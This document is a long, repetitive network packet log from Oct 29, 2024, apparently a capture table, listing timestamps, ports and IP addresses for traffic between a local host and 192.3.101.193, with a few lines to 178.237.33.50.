                                                                                                                                                                                                Oct 29, 2024 16:31:54.279309034 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.279320002 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.279346943 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.279603958 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.279616117 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.279627085 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.279650927 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.280316114 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.396522045 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.396609068 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.396621943 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.396650076 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.396662951 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.396658897 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.396686077 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.396687031 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.396723986 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.397587061 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.397609949 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.397646904 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.397700071 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.397711992 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.397722960 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.397746086 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.398175955 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.398219109 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.398263931 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.398277044 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.398314953 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.398386002 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.401041031 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.403188944 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.525934935 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.525965929 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.525981903 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.526014090 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.526082039 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.526096106 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.526130915 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.526458979 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.526523113 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.526534081 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.526560068 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.526640892 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.526667118 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.526674986 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.527590990 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.527628899 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.527841091 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.527900934 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.527913094 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.527924061 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.527939081 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.527961969 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.528522015 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.634491920 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.634510040 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.634522915 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.634557962 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.634660959 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.634681940 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.634705067 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.634708881 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.634718895 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.634732008 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.634747982 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.634771109 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.644805908 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.644845963 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.644861937 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.644876957 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.644885063 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.644895077 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.645045042 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.645101070 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.645138979 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.645139933 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.645153999 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.645226955 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.754470110 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.754506111 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.754523993 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.754549980 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.754692078 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.754705906 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.754733086 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.755079031 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.755120039 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.764123917 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.764163017 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.764198065 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.764205933 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.764256954 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.764271021 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.764285088 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.764296055 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.764322996 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.764362097 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.764377117 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.764389992 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.764403105 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.764413118 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.764445066 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.878686905 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.878736019 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.878751040 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.878782034 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.878880978 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.878896952 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.878921986 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.884864092 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.884907961 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.884932041 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.884934902 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.884948969 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.884965897 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.884974003 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.884982109 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.884999037 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.885006905 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.885014057 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.885030985 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.885046005 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.885050058 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.885076046 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.888700008 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.888787985 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.991051912 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.991074085 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.991089106 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.991111994 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.997400045 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.997505903 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:54.997520924 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.997534037 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.997548103 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:54.997566938 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.001493931 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.001524925 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.001540899 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.001554012 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.001584053 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.004513025 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.004532099 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.004548073 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.004570961 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.004724026 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.004745960 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.004762888 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.004766941 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.004796028 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.004806042 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.004822969 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.004837036 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.004851103 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.004857063 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.004887104 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.109930038 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.109946966 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.109963894 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.110004902 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.116405010 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.116425037 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.116440058 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.116450071 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.116485119 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.119884968 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.119913101 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.119925022 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.119960070 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.123728991 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.123742104 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.123785973 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.123891115 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.123903036 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.123936892 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.124068022 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.124458075 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.124535084 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.124609947 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.124623060 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.124634981 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.124646902 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.124675035 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.125637054 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.125677109 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.125987053 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.189172983 CET8049178178.237.33.50192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.189393044 CET4917880192.168.2.22178.237.33.50
                                                                                                                                                                                                Oct 29, 2024 16:31:55.231333971 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.231424093 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.231441021 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.231475115 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.235528946 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.235543966 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.235586882 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.235663891 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.238964081 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.238980055 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.238990068 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.239010096 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.239022970 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.244498014 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.244517088 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.244530916 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.244544983 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.244548082 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.244559050 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.244574070 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.244585037 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.244589090 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.244605064 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.244609118 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.244620085 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.244635105 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.244642973 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.244651079 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.244666100 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.244673967 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.244703054 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.347698927 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.347714901 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.347726107 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.347759962 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.353965044 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.354012012 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.354062080 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.358807087 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.358819008 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.358829021 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.358865976 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.361309052 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.361320972 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.361330986 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.361363888 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.361704111 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.361721039 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.361732960 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.361756086 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.361879110 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.361891031 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.361929893 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.362426996 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.362437963 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.362448931 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.362476110 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.362605095 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.362616062 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.362647057 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.363281965 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.363333941 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.363611937 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.466718912 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.466733932 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.466746092 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.466775894 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.476847887 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.476893902 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.476947069 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.476960897 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.476984024 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.476995945 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.476996899 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.477037907 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.479695082 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.479748964 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.479763985 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.479780912 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.479789972 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.479821920 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.479836941 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.480108976 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.480146885 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.480226040 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.480283022 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.480321884 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.480470896 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.480526924 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.480539083 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.480550051 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.480566978 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.480585098 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.480597019 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.484869003 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.527729988 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.528093100 CET967449177192.3.101.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:55.528165102 CET491779674192.168.2.22192.3.101.193
                                                                                                                                                                                                Oct 29, 2024 16:31:55.588392019 CET967449177192.3.101.193192.168.2.22
